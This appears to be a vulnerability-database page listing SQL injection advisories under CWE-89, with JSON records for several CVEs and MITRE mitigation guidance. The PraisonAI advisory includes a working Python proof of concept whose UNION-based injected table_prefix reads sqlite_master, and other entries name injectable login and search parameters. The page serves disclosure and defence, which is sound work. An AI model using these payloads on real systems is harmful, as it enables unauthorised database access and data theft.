Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27425 vulnerabilities reference this CWE, most recent first.

GHSA-X76J-C75M-9MMQ

Vulnerability from github – Published: 2022-05-01 23:50 – Updated: 2025-04-09 03:54
VLAI
Details

SQL injection vulnerability in the Library for Frontend Plugins (aka sg_zfelib) extension 1.1.512 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified "user input."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-2489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-05-28T15:32:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in the Library for Frontend Plugins (aka sg_zfelib) extension 1.1.512 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified \"user input.\"",
  "id": "GHSA-x76j-c75m-9mmq",
  "modified": "2025-04-09T03:54:55Z",
  "published": "2022-05-01T23:50:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2489"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42625"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30400"
    },
    {
      "type": "WEB",
      "url": "http://typo3.org/teams/security/security-bulletins/typo3-20080527-2"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1665/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-X76J-WW65-VJ9G

Vulnerability from github – Published: 2022-05-01 06:56 – Updated: 2022-05-01 06:56
VLAI
Details

Multiple SQL injection vulnerabilities in Pro Publish 2.0 allow remote attackers to execute arbitrary SQL commands via the (1) email and (2) password parameter to (a) admin/login.php, (3) find_str parameter to (b) search.php, or (4) artid parameter to (c) art.php, or (5) catid parameter to (d) cat.php.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2006-2128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-05-01T23:02:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple SQL injection vulnerabilities in Pro Publish 2.0 allow remote attackers to execute arbitrary SQL commands via the (1) email and (2) password parameter to (a) admin/login.php, (3) find_str parameter to (b) search.php, or (4) artid parameter to (c) art.php, or (5) catid parameter to (d) cat.php.",
  "id": "GHSA-x76j-ww65-vj9g",
  "modified": "2022-05-01T06:56:11Z",
  "published": "2022-05-01T06:56:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-2128"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/26148"
    },
    {
      "type": "WEB",
      "url": "http://evuln.com/vulns/130/summary.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/19882"
    },
    {
      "type": "WEB",
      "url": "http://soot.shabgard.org/bugs/propublish.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/25124"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/25125"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/25126"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/25127"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/435787/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/17762"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/1578"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-X778-5264-HWJ9

Vulnerability from github – Published: 2022-06-03 00:00 – Updated: 2022-06-11 00:00
VLAI
Details

Badminton Center Management System v1.0 is vulnerable to SQL Injection via /bcms/admin/?page=reports/daily_court_rental_report&date=.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-31986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Badminton Center Management System v1.0 is vulnerable to SQL Injection via /bcms/admin/?page=reports/daily_court_rental_report\u0026date=.",
  "id": "GHSA-x778-5264-hwj9",
  "modified": "2022-06-11T00:00:27Z",
  "published": "2022-06-03T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31986"
    },
    {
      "type": "WEB",
      "url": "https://github.com/k0xx11/bug_report/blob/main/vendors/oretnom23/badminton-center-management-system/SQLi-1.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X783-P293-JQ6F

Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-05-13 01:33
VLAI
Details

A flaw was found in Opendaylight's SDNInterfaceapp (SDNI). Attackers can SQL inject the component's database (SQLite) without authenticating to the controller or SDNInterfaceapp. SDNInterface has been deprecated in OpenDayLight since it was last used in the final Carbon series release. In addition to the component not being included in OpenDayLight in newer releases, the SDNInterface component is not packaged in the opendaylight package included in RHEL.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-20T13:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A flaw was found in Opendaylight\u0027s SDNInterfaceapp (SDNI). Attackers can SQL inject the component\u0027s database (SQLite) without authenticating to the controller or SDNInterfaceapp. SDNInterface has been deprecated in OpenDayLight since it was last used in the final Carbon series release. In addition to the component not being included in OpenDayLight in newer releases, the SDNInterface component is not packaged in the opendaylight package included in RHEL.",
  "id": "GHSA-x783-p293-jq6f",
  "modified": "2022-05-13T01:33:29Z",
  "published": "2022-05-13T01:33:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1132"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1132"
    },
    {
      "type": "WEB",
      "url": "https://jira.opendaylight.org/browse/SDNINTRFAC-14"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44747"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104238"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X783-XP3G-MQHP

Vulnerability from github – Published: 2026-04-10 19:32 – Updated: 2026-04-14 21:56
VLAI
Summary
PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries
Details

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.

Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

  • SQL Identifier Injection
  • Query result manipulation
  • Internal schema disclosure

Exploitable when untrusted input can influence configuration.

Reference

  • https://github.com/advisories/GHSA-59g6-v3vg-f7wc
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.133"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:32:00Z",
    "nvd_published_at": "2026-04-14T04:17:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `table_prefix` configuration value is directly used to construct SQL table identifiers without validation.\n\nIf an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results.\n\n---\n\n### Details\nThis allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.\n\nThis occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings:\n\n```python\nsessions_table = f\"{table_prefix}sessions\"\n```\n\nThis value is then used in queries such as:\n\n```sql\nSELECT * FROM {self.sessions_table}\n```\n\nSince SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.\n\n\n\nThe vulnerability originates from configuration input and propagates through the following flow:\n\n* **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py)\n  (`from_yaml` / `from_dict`) accepts external configuration input\n\n* **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py)\n  (`create_stores_from_config`) passes `conversation_options` without validation\n\n* **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py)\n  Constructs SQL queries using f-strings with identifiers derived from `table_prefix`\n\nAs a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.\n\n### PoC\n\n#### 1. Exploit Code\nThe PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: SQL identifier injection via SQLiteConversationStore.table_prefix\n\nThis demonstrates query-structure manipulation when table_prefix is attacker-controlled.\n\"\"\"\n\nimport os\nimport tempfile\n\nfrom praisonai.persistence.conversation.sqlite import SQLiteConversationStore\nfrom praisonai.persistence.conversation.base import ConversationSession\n\n\ndef run_poc() -\u003e int:\n    fd, db_path = tempfile.mkstemp(suffix=\".db\")\n    os.close(fd)\n\n    try:\n        print(f\"[+] temp db: {db_path}\")\n\n        # 1) Create normal schema and insert one legitimate session.\n        normal = SQLiteConversationStore(\n            path=db_path,\n            table_prefix=\"praison_\",\n            auto_create_tables=True,\n        )\n        normal.create_session(\n            ConversationSession(\n                session_id=\"legit-session\",\n                user_id=\"user1\",\n                agent_id=\"agent1\",\n                name=\"Legit Session\",\n                state={},\n                metadata={},\n                created_at=123.0,\n                updated_at=123.0,\n            )\n        )\n\n        normal_rows = normal.list_sessions(limit=10, offset=0)\n        print(f\"[+] normal.list_sessions() count: {len(normal_rows)}\")\n        print(f\"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}\")\n\n        # 2) Malicious prefix (UNION-based query structure manipulation)\n        injected_prefix = (\n            \"praison_sessions WHERE 1=0 \"\n            \"UNION SELECT \"\n            \"name as session_id, \"\n            \"NULL as user_id, \"\n            \"NULL as agent_id, \"\n            \"NULL as name, \"\n            \"NULL as state, \"\n            \"NULL as metadata, \"\n            \"0 as created_at, \"\n            \"0 as updated_at \"\n            \"FROM sqlite_master -- \"\n        )\n\n        injected = SQLiteConversationStore(\n            path=db_path,\n            table_prefix=injected_prefix,\n            auto_create_tables=False,\n        )\n\n        injected_rows = injected.list_sessions(limit=10, offset=0)\n        injected_ids = [row.session_id for row in injected_rows]\n\n        print(f\"[+] injected.list_sessions() count: {len(injected_rows)}\")\n        print(f\"[+] injected session_ids (first 10): {injected_ids[:10]}\")\n\n        suspicious = any(\n            x in injected_ids\n            for x in (\"sqlite_schema\", \"sqlite_master\", \"praison_sessions\", \"praison_messages\")\n        )\n\n        if suspicious or len(injected_rows) \u003e len(normal_rows):\n            print(\"[!] PoC succeeded: list_sessions query semantics altered by table_prefix\")\n            return 0\n\n        print(\"[!] PoC inconclusive: no clear injected rows observed\")\n        return 2\n\n    finally:\n        try:\n            os.remove(db_path)\n            print(\"[+] temp db removed\")\n        except OSError:\n            pass\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(run_poc())\n```\n\n---\n\n#### 2. Expected Output\n\n![PoC Result](https://github.com/user-attachments/assets/aa46226e-c3cb-4772-b411-bfd26d328386)\nThe output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.\n\n#### 3. Impact\n\n- SQL Identifier Injection\n- Query result manipulation\n- Internal schema disclosure\n\nExploitable when untrusted input can influence configuration.\n\n---\n#### Reference\n\n- https://github.com/advisories/GHSA-59g6-v3vg-f7wc",
  "id": "GHSA-x783-xp3g-mqhp",
  "modified": "2026-04-14T21:56:08Z",
  "published": "2026-04-10T19:32:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/0accebb2e3c3ec2fca66bbea0444fb7a35f0b4ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.133"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI: SQLiteConversationStore didn\u0027t validate table_prefix when constructing SQL queries"
}

GHSA-X784-P7W9-PF32

Vulnerability from github – Published: 2025-04-01 21:31 – Updated: 2025-04-01 21:31
VLAI
Details

Clinic’s Patient Management System versions 2.0 suffers from a SQL injection vulnerability in the login page.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-3096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T19:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "Clinic\u2019s Patient Management System versions 2.0 suffers from a SQL injection vulnerability in the login page.",
  "id": "GHSA-x784-p7w9-pf32",
  "modified": "2025-04-01T21:31:29Z",
  "published": "2025-04-01T21:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3096"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-2297"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com/php-clinics-patient-management-system-source-code"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X78H-2VJP-C8JP

Vulnerability from github – Published: 2024-02-27 03:31 – Updated: 2024-11-07 03:30
VLAI
Details

Code-projects Scholars Tracking System 1.0 is vulnerable to SQL Injection under Employment Status Information Update.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-24099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-27T02:15:06Z",
    "severity": "MODERATE"
  },
  "details": "Code-projects Scholars Tracking System 1.0 is vulnerable to SQL Injection under Employment Status Information Update.",
  "id": "GHSA-x78h-2vjp-c8jp",
  "modified": "2024-11-07T03:30:31Z",
  "published": "2024-02-27T03:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ASR511-OO7/CVE-2024-24099/blob/main/CVE-19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X78H-V7RW-746M

Vulnerability from github – Published: 2022-05-01 18:28 – Updated: 2022-05-01 18:28
VLAI
Details

SQL injection vulnerability in www/people/editprofile.php in GForge 4.6b2 and earlier allows remote attackers to execute arbitrary SQL commands via the skill_delete[] parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2007-4966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-09-18T22:17:00Z",
    "severity": "MODERATE"
  },
  "details": "SQL injection vulnerability in www/people/editprofile.php in GForge 4.6b2 and earlier allows remote attackers to execute arbitrary SQL commands via the skill_delete[] parameter.",
  "id": "GHSA-x78h-v7rw-746m",
  "modified": "2022-05-01T18:28:40Z",
  "published": "2022-05-01T18:28:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4966"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48844"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4404"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26803"
    },
    {
      "type": "WEB",
      "url": "http://www.portcullis.co.uk/179.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25665"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/3174"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-X7CW-GG89-8RCP

Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2022-05-17 00:38
VLAI
Details

Multiple SQL injection vulnerabilities in admin/checklogin.php in Venalsur Booking Centre Booking System for Hotels Group 2.01 allow remote attackers to execute arbitrary SQL commands via the (1) myusername (username) and (2) password parameters. NOTE: some of these details are obtained from third party information.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-6810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-05-18T12:00:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple SQL injection vulnerabilities in admin/checklogin.php in Venalsur Booking Centre Booking System for Hotels Group 2.01 allow remote attackers to execute arbitrary SQL commands via the (1) myusername (username) and (2) password parameters.  NOTE: some of these details are obtained from third party information.",
  "id": "GHSA-x7cw-gg89-8rcp",
  "modified": "2022-05-17T00:38:06Z",
  "published": "2022-05-17T00:38:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6810"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46914"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7263"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-X7FR-8WVG-VXXF

Vulnerability from github – Published: 2022-05-17 05:36 – Updated: 2022-05-17 05:36
VLAI
Details

SQL injection vulnerability in adrotate/adrotate-out.php in the AdRotate plugin 3.6.6, and other versions before 3.6.8, for WordPress allows remote attackers to execute arbitrary SQL commands via the track parameter (aka redirect URL).

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-4671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-12-02T18:55:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in adrotate/adrotate-out.php in the AdRotate plugin 3.6.6, and other versions before 3.6.8, for WordPress allows remote attackers to execute arbitrary SQL commands via the track parameter (aka redirect URL).",
  "id": "GHSA-x7fr-8wvg-vxxf",
  "modified": "2022-05-17T05:36:21Z",
  "published": "2022-05-17T05:36:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4671"
    },
    {
      "type": "WEB",
      "url": "http://downloads.wordpress.org/plugin/adrotate.3.6.8.zip"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46814"
    },
    {
      "type": "WEB",
      "url": "http://unconciousmind.blogspot.com/2011/11/wordpress-adrotate-plugin-366-sql.html"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/18114"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/50674"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

